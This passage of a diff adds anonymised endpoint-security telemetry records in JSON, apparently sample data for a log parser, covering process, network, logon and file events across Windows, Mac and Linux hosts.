0","UserMemoryAllocateExecutableRemoteCount":"0","UserMemoryProtectExecutableCount":"0","UserMemoryProtectExecutableRemoteCount":"0","UserSid":"S-1-5-18","UserTime":"6406250","aid":"ffffffffb5db4b2e7ec89aba537adcc2","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"EndOfProcess","id":"ffffffff-1111-11eb-8726-063418e4a9e7","name":"EndOfProcessV15","timestamp":"1604855099935"}
+{"AsepWrittenCount":"0","ConfigBuild":"1007.4.0009304.1","ConfigStateHash":"3344040805","ContextProcessId":"311775981885093125","ContextThreadId":"0","ContextTimeStamp":"1604855101.341","DirectoryCreatedCount":"0","DnsRequestCount":"0","Entitlements":"15","ExecutableDeletedCount":"0","FileDeletedCount":"0","NetworkBindCount":"0","NetworkCapableAsepWriteCount":"0","NetworkCloseCount":"0","NetworkConnectCount":"0","NetworkListenCount":"0","NetworkRecvAcceptCount":"0","NewExecutableWrittenCount":"0","RawProcessId":"10507","SHA256HashData":"3b00897e1eb587c5f77e3866ff6bdc80f5e70f839543242e0ee5a1581014adc3","SuspectStackCount":"0","SuspiciousDnsRequestCount":"0","TargetProcessId":"311775981885093125","aid":"ffffffff1aa0482a5ea94f64e08e7b15","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"EndOfProcess","id":"ffffffff-1111-11eb-bc03-065126dd0691","name":"EndOfProcessMacV12","timestamp":"1604855100139"}
+{"AuthenticationId":"999","CommandLine":"D:\\projects\\splunk-forwarder\\bin\\splunk-powershell.exe --ps2","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3765958535","EffectiveTransmissionClass":"3","Entitlements":"15","ImageFileName":"\\Device\\HarddiskVolume2\\projects\\splunk-forwarder\\bin\\splunk-powershell.exe","ImageSubsystem":"3","IntegrityLevel":"16384","MD5HashData":"571391f723a439e985a2064337e2802a","ParentAuthenticationId":"999","ParentBaseFileName":"splunkd.exe","ParentProcessId":"17346335177","ProcessCreateFlags":"67634688","ProcessEndTime":"","ProcessParameterFlags":"24577","ProcessStartTime":"1604855099.406","ProcessSxsFlags":"64","RawProcessId":"6116","SHA1HashData":"0000000000000000000000000000000000000000","SHA256HashData":"7f326aad0ee45bfef93daede5597d70422d472084ae3295762654fb5021a8720","SessionId":"0","SourceProcessId":"17346335177","SourceThreadId":"107650023406","Tags":"27, 151, 12094627905582, 12094627906234","TargetProcessId":"583707537390","TokenType":"1","UserSid":"S-1-5-18","WindowFlags":"384","aid":"ffffffff3a5a424fa02450da53619745","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"ProcessRollup2","id":"ffffffff-1111-11eb-a09e-06f79d630255","name":"ProcessRollup2V17","timestamp":"1604855100030"}
+{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"2784638081","ContextProcessId":"259090530891","ContextThreadId":"16409623709004","ContextTimeStamp":"1604855095.961","DnsRequestCount":"1","DomainName":"comp1.dom2","DualRequest":"0","EffectiveTransmissionClass":"3","Entitlements":"15","InterfaceIndex":"0","RequestType":"1","aid":"ffffffff4f1444bab96568879cb43556","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"DnsRequest","id":"ffffffff-1111-11eb-8077-0606f7dcf2ed","name":"DnsRequestV3","timestamp":"1604855099913"}
+{"ConfigBuild":"1007.8.0009806.1","ConfigStateHash":"4288861242","ContextProcessId":"321385820045701199","ContextThreadId":"0","ContextTimeStamp":"1604855101.645","Entitlements":"15","GID":"0","TargetFileName":"/etc/shadow","UID":"0","UnixMode":"32768","aid":"ffffffff32ba43a483e76c6f0a4aa26f","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Lin","event_simpleName":"CriticalFileAccessed","id":"ffffffff-1111-11eb-b70d-027f9ced2001","name":"CriticalFileAccessedLinV1","timestamp":"1604855102247"}
+{"CommandLine":"/usr/bin/plutil -convert xml1 -o - /Applications/Xcode.app/Contents/Developer/Platforms/AppleTVOS.platform/Developer/Library/CoreSimulator/Profiles/Runtimes/tvOS.simruntime/Contents/Resources/RuntimeRoot/System/Library/PrivateFrameworks/DiagnosticExtensions.framework/PlugIns/com.apple.DiagnosticExtensions.CrashLogs.appex/Info.plist","ConfigBuild":"1007.4.0009304.1","ConfigStateHash":"3344040805","Entitlements":"15","GID":"0","ImageFileName":"/usr/bin/plutil","MD5HashData":"d51cef1b288e2032aee9805deff04bfd","MachOSubType":"1","ParentProcessId":"311774817965726568","ProcessEndTime":"","ProcessGroupId":"311774817965726568","ProcessStartTime":"1604855111.240","RGID":"0","RUID":"0","RawProcessId":"10692","SHA1HashData":"0000000000000000000000000000000000000000","SHA256HashData":"3b00897e1eb587c5f77e3866ff6bdc80f5e70f839543242e0ee5a1581014adc3","SVGID":"0","SVUID":"0","SourceProcessId":"311776004953765502","SourceThreadId":"0","Tags":"27, 12094627905582, 12094627906234","TargetProcessId":"311776004953765502","UID":"0","aid":"ffffffff1aa0482a5ea94f64e08e7b15","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"ProcessRollup2","id":"ffffffff-1111-11eb-bc03-065126dd0691","name":"ProcessRollup2MacV3","timestamp":"1604855109180"}
+{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3899738370","ContextProcessId":"1546527409909","ContextThreadId":"4711690090889","ContextTimeStamp":"1604855114.133","DesiredAccess":"1180054","EffectiveTransmissionClass":"3","Entitlements":"15","FileAttributes":"0","FileIdentifier":"501ee2c32e53fb43b07f419f3236fb45c29e000000002c00","FileObject":"18446655033844205120","Information":"2","IrpFlags":"2180","MajorFunction":"0","MinorFunction":"0","OperationFlags":"0","Options":"88080484","ShareAccess":"1","Status":"0","TargetFileName":"\\Device\\HarddiskVolume4\\Windows\\Temp\\__PSScriptPolicyTest_dvkjnbka.apn.ps1","aid":"ffffffff8f1e4b77b4dae5debaa1c8bc","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"NewScriptWritten","id":"ffffffff-1111-11eb-80b5-06e11a66e03d","name":"NewScriptWrittenV7","timestamp":"1604855114427"}
+{"ConfigBuild":"1007.4.0012205.1","ConfigStateHash":"1306766522","ConnectionDirection":"1","ConnectionFlags":"0","ContextProcessId":"321275232072440993","ContextTimeStamp":"1604855116.421","Entitlements":"15","InContext":"0","LocalAddressIP4":"0.0.0.0","LocalPort":"0","Protocol":"6","RemoteAddressIP4":"67.43.156.14","RemotePort":"443","aid":"ffffffffd4094240a6b1d12aaf304f4f","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"NetworkConnectIP4","id":"ffffffff-1111-11eb-aca9-02683aed2a0d","name":"NetworkConnectIP4MacV5","timestamp":"1604855116502"}
+{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"2602391615","ConnectionDirection":"0","ConnectionFlags":"0","ContextProcessId":"223442259384","ContextTimeStamp":"1604855116.849","EffectiveTransmissionClass":"3","Entitlements":"15","InContext":"0","LocalAddressIP4":"67.43.156.14","LocalPort":"53961","Protocol":"6","RemoteAddressIP4":"67.43.156.14","RemotePort":"443","aid":"fffffffff000426eb99afaa2ccdcbc17","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"NetworkConnectIP4","id":"ffffffff-1111-11eb-b0eb-06be7616c211","name":"NetworkConnectIP4V5","timestamp":"1604855116942"}
+{"AuthenticationId":"6580764513","AuthenticationPackage":"Negotiate","ClientComputerName":"-","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3011122681","ContextProcessId":"816054990879","ContextThreadId":"52913017705957","ContextTimeStamp":"1604855091.781","EffectiveTransmissionClass":"2","Entitlements":"15","LogonDomain":"NT AUTHORITY","LogonServer":"","LogonTime":"1604855091.781","LogonType":"9","PasswordLastSet":"","RemoteAccount":"1","UserFlags":"0","UserIsAdmin":"0","UserLogonFlags":"12","UserName":"SYSTEM","UserPrincipal":"user4@dom2","UserSid":"S-1-5-18","aid":"ffffffff8d2e4b4f9b21b40633a8d579","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"UserLogon","id":"ffffffff-1111-11eb-a8cf-0649c95cfa1d","name":"UserLogonV8","timestamp":"1604855121077"}
+{"AuthenticationId":"2007206396","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3011122681","ContextProcessId":"4415814628770","ContextThreadId":"41392001729898","ContextTimeStamp":"1604855120.785","DiskParentDeviceInstanceId":"PCI\\VEN_1000\u0026DEV_0054\u0026SUBSYS_197615AD\u0026REV_01\\4\u00261f16fef7\u00260\u002600A8","EffectiveTransmissionClass":"3","Entitlements":"15","FileEcpBitmask":"0","FileIdentifier":"b57cb59769dfe71180b4806e6f6e6963ea8902000000cb2c","FileObject":"18446708893089967904","IrpFlags":"1028","IsOnNetwork":"0","IsOnRemovableDisk":"0","IsTransactedFile":"0","MajorFunction":"18","MinorFunction":"0","OperationFlags":"0","SHA256HashData":"d0e1b81f3f3f18256f6447703624019eaee9b1068b3f09323eced4f547cc4182","Size":"6144","TargetFileName":"\\Device\\HarddiskVolume2\\Users\\user10\\AppData\\Local\\Temp\\ec1ijefl.dll","TokenType":"1","aid":"ffffffff2c47454cba360bc404a607bb","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"PeFileWritten","id":"ffffffff-1111-11eb-b091-06f6cca0a049","name":"PeFileWrittenV14","timestamp":"1604855121109"}
+{"AuthenticationId":"317005428","AuthenticationPackage":"Negotiate","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3950066843","EffectiveTransmissionClass":"2","Entitlements":"15","LogoffTime":"1604855132.756","LogonDomain":"dom1","LogonServer":"srv2","LogonTime":"1604855131.666","LogonType":"7","PasswordLastSet":"1598119332.510","RemoteAccount":"1","UserFlags":"32","UserIsAdmin":"0","UserLogoffType":"3","UserLogonFlags":"0","UserName":"user4","UserPrincipal":"user.name@dom2.com","UserSid":"S-1-5-21-606747145-1364589140-725345543-28636","aid":"ffffffffe0104823bd3de859d5bc8bc7","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"UserLogoff","id":"ffffffff-1111-11eb-8913-0287fd11c79b","name":"UserLogoffV3","timestamp":"1604855134461"}
+{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"537307300","ContextProcessId":"635780922149","ContextThreadId":"9479299143023","ContextTimeStamp":"1604855025.966","DesiredAccess":"1180054","EffectiveTransmissionClass":"3","Entitlements":"15","FileAttributes":"128","FileIdentifier":"0e02a8c7ed9d244887cef0409af0e6190030000000001100","FileObject":"18446695174291796544","Information":"2","IrpFlags":"2180","MajorFunction":"0","MinorFunction":"0","OperationFlags":"0","Options":"83886176","ShareAccess":"3","Status":"0","TargetFileName":"\\Device\\HarddiskVolume4\\Program Files\\Snow Software\\Inventory\\Agent\\cloudmeteringhost.exe","aid":"ffffffff425942f58382dbb11350eeda","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"NewExecutableWritten","id":"ffffffff-1111-11eb-93cb-067deb43537b","name":"NewExecutableWrittenV1","timestamp":"1604855149643"}
+{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3765958535","ConnectionDirection":"2","ConnectionFlags":"0","ContextProcessId":"50714198593318","ContextThreadId":"194302491825207","ContextTimeStamp":"1604855150.066","EffectiveTransmissionClass":"3","Entitlements":"15","InContext":"0","LocalAddressIP4":"127.0.0.1","LocalPort":"59491","Protocol":"6","RemoteAddressIP4":"0.0.0.0","RemotePort":"0","aid":"ffffffffa51b4acf9dbc1fc273e6145c","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"NetworkListenIP4","id":"ffffffff-1111-11eb-8726-063418e4a9e7","name":"NetworkListenIP4V5","timestamp":"1604855150545"}
+{"ClientComputerName":"com1","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3011122681","ContextProcessId":"7073822473144","ContextThreadId":"48689911139327","ContextTimeStamp":"1604855152.993","EffectiveTransmissionClass":"2","Entitlements":"15","EtwRawProcessId":"744","EtwRawThreadId":"5304","LogonDomain":"BROADCAST","LogonType":"3","RemoteAddressIP4":"67.43.156.14","Status":"3221225581","SubStatus":"3221225578","UserName":"user5","aid":"ffffffffd8844a59acce5e1f4ad01888","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"UserLogonFailed2","id":"ffffffff-1111-11eb-a8aa-067029dffccb","name":"UserLogonFailed2V2","timestamp":"1604855154274"}
+{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3343111420","ContextProcessId":"1838383212125","ContextThreadId":"27242382481217","ContextTimeStamp":"1604855151.534","EffectiveTransmissionClass":"3","Entitlements":"15","FileIdentifier":"b0754a8f86feffffb0754a8f86feffff09764a8f86feffff","FileObject":"18446636884348143072","IrpFlags":"1028","MajorFunction":"18","MinorFunction":"0","OperationFlags":"0","TargetFileName":"\\Device\\HarddiskVolume3\\Program Files\\WindowsApps\\Deleted\\Microsoft.Getstarted_9.10.32461.0_x64__8wekyb3d8bbweacf6b996-01b3-402c-bd01-a67529f94699\\clrcompression.dll","aid":"ffffffff4a0946365161093453e596d4","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"ExecutableDeleted","id":"ffffffff-1111-11eb-b23b-064dea059649","name":"ExecutableDeletedV3","timestamp":"1604855154670"}
+{"AsepWrittenCount":"0","ConfigBuild":"1007.4.0009202.1","ConfigStateHash":"230795414","ContextProcessId":"318137549555284836","ContextThreadId":"0","ContextTimeStamp":"1604855135.209","DirectoryCreatedCount":"0","DnsRequestCount":"0","Entitlements":"15","ExecutableDeletedCount":"0","FileDeletedCount":"0","NetworkBindCount":"0","NetworkCapableAsepWriteCount":"0","NetworkCloseCount":"0","NetworkConnectCount":"0","NetworkListenCount":"0","NetworkRecvAcceptCount":"0","NewExecutableWrittenCount":"0","RawProcessId":"20195","SHA256HashData":"295fbc2356e8605e804f95cb6d6f992335e247dbf11767fe8781e2a7f889978a","SuspectStackCount":"0","SuspiciousDnsRequestCount":"0","TargetProcessId":"318137549555284836","aid":"ffffffffcfe84e8c6a52c4001bd83761","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"EndOfProcess","id":"ffffffff-1111-11eb-ae31-065d76bec0c3","name":"EndOfProcessMacV11","timestamp":"1604855160047"}
+{"ApiReturnValue":"1","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3338885535","ContextProcessId":"683078218537","ContextTimeStamp":"1604855171.731","EffectiveTransmissionClass":"3","Entitlements":"15","EtwRawProcessId":"19400","EtwRawThreadId":"9384","aid":"ffffffff80984ea8b49d9a53f590c566","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"RegisterRawInputDevicesEtw","id":"ffffffff-1111-11eb-a570-0685ba2a382f","name":"RegisterRawInputDevicesEtwV1","timestamp":"1604855173077"}
+{"CompletionEventId":"Event_ChannelDataDownloadCompleteV1","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3338885535","DownloadPath":"metahash+/cfs/channelfiles/0000000013/b2acba1a30a3407dae27d0503611022d/C-00000013-00000000-00000408.sys","DownloadPort":"443","DownloadServer":"lfodown01-b.cloudsink.net","EffectiveTransmissionClass":"0","Entitlements":"15","TargetFileName":"C-00000013-00000000-00000408.sys","aid":"ffffffffffc94c645268f64fc900213f","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"LFODownloadConfirmation","id":"ffffffff-1111-11eb-8ab5-0643392fc75d","name":"LFODownloadConfirmationV1","timestamp":"1604855174018"}
+{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"1763245019","ContextProcessId":"2071361595421","ContextThreadId":"41650430047375","ContextTimeStamp":"1604855146.590","EffectiveTransmissionClass":"3","Entitlements":"15","FileIdentifier":"4b0121a43dfc1f4ca54eea679ddbcd4eef2103000000ca00","FileObject":"18446622606546437424","IrpFlags":"395312","MajorFunction":"6","MinorFunction":"0","NewFileIdentifier":"4b0121a43dfc1f4ca54eea679ddbcd4eef2103000000ca00","OperationFlags":"0","SourceFileName":"\\Device\\HarddiskVolume3\\Windows\\assembly\\temp\\EKA0UARWWK\\Microsoft.WSMan.Management.ni.dll","TargetFileName":"\\Device\\HarddiskVolume3\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.We0722664#\\c2579d00f9849413b8b7948dd00ac863\\Microsoft.WSMan.Management.ni.dll","aid":"ffffffff280b41b956a91e816bd9b9b0","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"NewExecutableRenamed","id":"ffffffff-1111-11eb-8162-0663305b686f","name":"NewExecutableRenamedV6","timestamp":"1604855177513"}
+{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"402097454","ContextProcessId":"66601077523","ContextThreadId":"2500785639062","ContextTimeStamp":"1604855165.213","DesiredAccess":"1048577","EffectiveTransmissionClass":"3","Entitlements":"15","FileAttributes":"128","FileIdentifier":"d2f4250ff1ba3b4ca66e123c5269884ca6f8020000002700","FileObject":"18446641334185168032","Information":"2","IrpFlags":"2180","MajorFunction":"0","MinorFunction":"0","OperationFlags":"0","Options":"35668001","ShareAccess":"3","Status":"0","TargetFileName":"\\Device\\HarddiskVolume3\\Windows\\CbsTemp\\30848497_1904507751\\FodWU","aid":"ffffffff2c9f4066b0b5f2f00265503c","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"DirectoryCreate","id":"ffffffff-1111-11eb-9411-06b7c99be087","name":"DirectoryCreateV1","timestamp":"1604855180332"}
+{"AuthenticationId":"999","CommandLine":"C:\\WINDOWS\\system32\\svchost.exe -k netsvcs -p -s wlidsvc","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3343111420","ContextTimeStamp":"1604855196.468","EffectiveTransmissionClass":"3","Entitlements":"15","ImageFileName":"\\Device\\HarddiskVolume3\\Windows\\System32\\svchost.exe","InterfaceGuid":"367ABB81-9844-35F1-AD32-98F038001003","InterfaceVersion":"131072","RpcClientProcessId":"949196415400","RpcClientThreadId":"44209361549673","RpcNestingLevel":"0","RpcOpNum":"19","ServiceDisplayName":"wlidsvc","TargetProcessId":"955370934902","TokenType":"1","UserName":"user6","aid":"fffffffffcc4413057adc260e99b0774","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"ServiceStarted","id":"ffffffff-1111-11eb-9c98-02c501fe7d81","name":"ServiceStartedV2","timestamp":"1604855196635"}
+{"ConfigBuild":"1007.4.0011104.1","ConfigStateHash":"203564169","ConnectionDirection":"0","ConnectionFlags":"0","ContextProcessId":"319255017313886870","ContextTimeStamp":"1604855200.751","Entitlements":"15","InContext":"0","LocalAddressIP6":"0:0:0:0:0:0:0:0","LocalPort":"0","Protocol":"6","RemoteAddressIP6":"0:0:0:0:0:0:0:1","RemotePort":"2181","aid":"ffffffffed0f41575620ab9fb25ce105","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"NetworkConnectIP6","id":"ffffffff-1111-11eb-81f1-061cdebbd115","name":"NetworkConnectIP6MacV5","timestamp":"1604855200836"}
+{"AuthenticationId":"1656178821","AuthenticationPackage":"Kerberos","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3338885535","ContextProcessId":"30254389526587","ContextThreadId":"275230771323179","EffectiveTransmissionClass":"2","Entitlements":"15","LogonDomain":"dom1","LogonId":"1656178821","LogonServer":"srv1","LogonTime":"1604855211.249","LogonType":"5","PasswordLastSet":"1530626210.104","RemoteAccount":"1","SessionId":"0","UserCanonical":"","UserFlags":"32","UserIsAdmin":"0","UserLogonFlags":"0","UserName":"user7","UserPrincipal":"user7@dom4.cm","UserSid":"S-1-5-21-606747145-1364589140-725345543-183372","aid":"ffffffff73164cfa9656c4caff8a2a38","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"UserIdentity","id":"ffffffff-1111-11eb-86e3-02db1faa1327","name":"UserIdentityV2","timestamp":"1604855212031"}
+{"AuthenticationId":"999","CommandLine":"C:\\WINDOWS\\System32\\svchost.exe -k netsvcs -p -s NetSetupSvc","ConfigBuild":"1007.3.0010609.1","ConfigStateHash":"4193986770","EffectiveTransmissionClass":"3","Entitlements":"15","ImageFileName":"\\Device\\HarddiskVolume3\\Windows\\System32\\svchost.exe","ImageSubsystem":"2","IntegrityLevel":"16384","MD5HashData":"8a0a29438052faed8a2532da50455756","ParentAuthenticationId":"999","ParentProcessId":"2881931477041","ProcessCreateFlags":"525324","ProcessEndTime":"","ProcessParameterFlags":"8193","ProcessStartTime":"1604842733.215","ProcessSxsFlags":"64","RawProcessId":"6160","SHA1HashData":"0000000000000000000000000000000000000000","SHA256HashData":"7fd065bac18c5278777ae44908101cdfed72d26fa741367f0ad4d02020787ab6","SessionId":"0","SourceProcessId":"2881931477041","SourceThreadId":"70316664105336","Tags":"27, 29, 53, 54, 55, 185, 10445360464024, 10445360464025, 10445360464026, 10445360464258, 10445360464273, 10445360464274, 12094627905582, 12094627906234, 211655988347297","TargetProcessId":"2882232404222","TokenType":"2","UserSid":"S-1-5-18","WindowFlags":"128","aid":"ffffffffbe8a46386afe80c5ef64d0b5","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"ProcessRollup2","id":"ffffffff-1111-11eb-b4f9-06e3a7e5503b","name":"ProcessRollup2V16","timestamp":"1604855237946"}
+{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"1763245019","ContextProcessId":"1016182570608","ContextThreadId":"37343520154472","ContextTimeStamp":"1604829512.519","DesiredAccess":"1179785","EffectiveTransmissionClass":"3","Entitlements":"15","FileAttributes":"0","FileIdentifier":"7a9c1c1610045d45a54bd6643ac12ea767a5020000000c00","FileObject":"18446670458156489088","Information":"1","IrpFlags":"2180","MajorFunction":"0","MinorFunction":"0","OperationFlags":"0","Options":"16777312","ShareAccess":"5","Status":"0","TargetFileName":"\\Device\\HarddiskVolume3\\Users\\user11\\Downloads\\file.pptx","aid":"ffffffffac4148947ed68497e89f3308","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"RansomwareOpenFile","id":"ffffffff-1111-11eb-9756-06fe7f8f682f","name":"RansomwareOpenFileV4","timestamp":"1604855242091"}
+{"AllocateVirtualMemoryCount":"0","ArchiveFileWrittenCount":"0","AsepWrittenCount":"0","BinaryExecutableWrittenCount":"0","CLICreationCount":"0","ConHostId":"13532","ConHostProcessId":"1731198143955","ConfigBuild":"1007.3.0010609.1","ConfigStateHash":"2030177841","ContextData":"","ContextProcessId":"1741732942772","ContextThreadId":"28523520529271","ContextTimeStamp":"1604855274.377","CycleTime":"473618996","DirectoryCreatedCount":"0","DirectoryEnumeratedCount":"0","DnsRequestCount":"0","DocumentFileWrittenCount":"0","EffectiveTransmissionClass":"3","Entitlements":"15","ExeAndServiceCount":"0","ExecutableDeletedCount":"0","ExitCode":"0","FileDeletedCount":"0","GenericFileWrittenCount":"0","ImageSubsystem":"2","InjectedDllCount":"0","InjectedThreadCount":"0","KernelTime":"1406250","MaxThreadCount":"16","ModuleLoadCount":"72","NetworkBindCount":"0","NetworkCapableAsepWriteCount":"0","NetworkCloseCount":"0","NetworkConnectCount":"0","NetworkConnectCountUdp":"0","NetworkListenCount":"0","NetworkModuleLoadCount":"0","NetworkRecvAcceptCount":"0","NewExecutableWrittenCount":"0","ParentProcessId":"1731198143955","PrivilegedProcessHandleCount":"0","ProcessStartTime":"1604855154.465","ProtectVirtualMemoryCount":"0","QueueApcCount":"0","RawProcessId":"18176","RegKeySecurityDecreasedCount":"0","RemovableDiskFileWrittenCount":"0","RunDllInvocationCount":"0","SHA256HashData":"87419b84f34cdb13f699c0f0803c957e48c27ad83334fcad7bac9ad89c0a466f","ScreenshotsTakenCount":"0","ScriptEngineInvocationCount":"0","ServiceEventCount":"0","SetThreadContextCount":"0","SnapshotFileOpenCount":"0","SuspectStackCount":"0","SuspiciousCredentialModuleLoadCount":"0","SuspiciousDnsRequestCount":"0","SuspiciousFontLoadCount":"0","SuspiciousRawDiskReadCount":"0","TargetProcessId":"1741732942772","UnsignedModuleLoadCount":"0","UserMemoryAllocateExecutableCount":"0","UserMemoryAllocateExecutableRemoteCount":"0","UserMemoryProtectExecutableCount":"0","UserMemoryProtectExecutableRemoteCount":"0","UserSid":"S-1-12-1-1647509123-1308660782-3901357462-3999411581","UserTime":"781250","aid":"fffffffffdab492a5a20cd0417395a73","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"EndOfProcess","id":"ffffffff-1111-11eb-b685-0241eaddc553","name":"EndOfProcessV14","timestamp":"1604855276657"}
+{"AuthenticationId":"895027","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3338885535","ContextProcessId":"1786917081743","ContextThreadId":"31685015444484","ContextTimeStamp":"1604855317.892","EffectiveTransmissionClass":"3","Entitlements":"15","FileEcpBitmask":"0","FileIdentifier":"0000000000000000be341bb58bc5f1f2a24339010200510e","FileObject":"18446636933702558240","IrpFlags":"1028","IsOnNetwork":"1","IsOnRemovableDisk":"0","MajorFunction":"18","MinorFunction":"0","OperationFlags":"0","Size":"223989","TargetFileName":"\\Device\\Mup\\intranet.dev\\int\\Test.pptx","TokenType":"1","aid":"fffffffffa474d216472f3edb73c75ed","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"OoxmlFileWritten","id":"ffffffff-1111-11eb-9165-067ee18a7975","name":"OoxmlFileWrittenV11","timestamp":"1604855329571"}
+{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3765958535","ConnectionDirection":"2","ConnectionFlags":"0","ContextProcessId":"439029805661","ContextThreadId":"273683743193497","ContextTimeStamp":"1604855351.158","EffectiveTransmissionClass":"3","Entitlements":"15","InContext":"0","LocalAddressIP6":"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6","LocalPort":"50373","Protocol":"6","RemoteAddressIP6":"0:0:0:0:0:0:0:0","RemotePort":"0","aid":"ffffffff1f924e228a807ea4c0f21b0b","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"NetworkListenIP6","id":"ffffffff-1111-11eb-85f5-02ab029194b9","name":"NetworkListenIP6V5","timestamp":"1604855351798"}
+{"ConfigBuild":"1007.4.0011104.1","ConfigStateHash":"1457965279","ContextProcessId":"321365562189152025","ContextThreadId":"0","ContextTimeStamp":"1604846070.744","Entitlements":"15","SHA256HashData":"e1bed7598ffdecf63a4d240f8309b528fc45068c6cb8137a5090f3afeb57f29d","Size":"29646","TargetFileName":"/System/Library/CoreServices/SecurityAgentPlugins/HomeDirMechanism.bundle/Contents/MacOS/HomeDirMechanism/..namedfork/rsrc","VnodeModificationType":"10","aid":"ffffffff1f32487185fcde66a9dc0528","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"AsepFileChange","id":"ffffffff-1111-11eb-b9b4-063e98f9b19b","name":"AsepFileChangeMacV2","timestamp":"1604855355495"}
+{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3011122681","ContextProcessId":"2932136","ContextThreadId":"36157339485804","ContextTimeStamp":"1604855191.803","EffectiveTransmissionClass":"2","Entitlements":"15","LogonTime":"","PasswordLastSet":"","UserLogonFlags":"1","UserName":"user7","UserSid":"S-1-5-10","aid":"ffffffffa5bd4efaa195a7132c576edc","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"UserLogonFailed","id":"ffffffff-1111-11eb-aa5a-0207e26418af","name":"UserLogonFailedV1","timestamp":"1604855193422"}
+{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"1858880895","ConnectionDirection":"0","ConnectionFlags":"0","ContextProcessId":"56042872298","ContextTimeStamp":"1604855136.669","EffectiveTransmissionClass":"3","Entitlements":"15","InContext":"0","LocalAddressIP6":"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6","LocalPort":"49689","Protocol":"6","RemoteAddressIP6":"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6","RemotePort":"443","aid":"ffffffff6854438eb4181691ec47e43d","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"NetworkConnectIP6","id":"ffffffff-1111-11eb-a889-061944805289","name":"NetworkConnectIP6V5","timestamp":"1604855199798"}
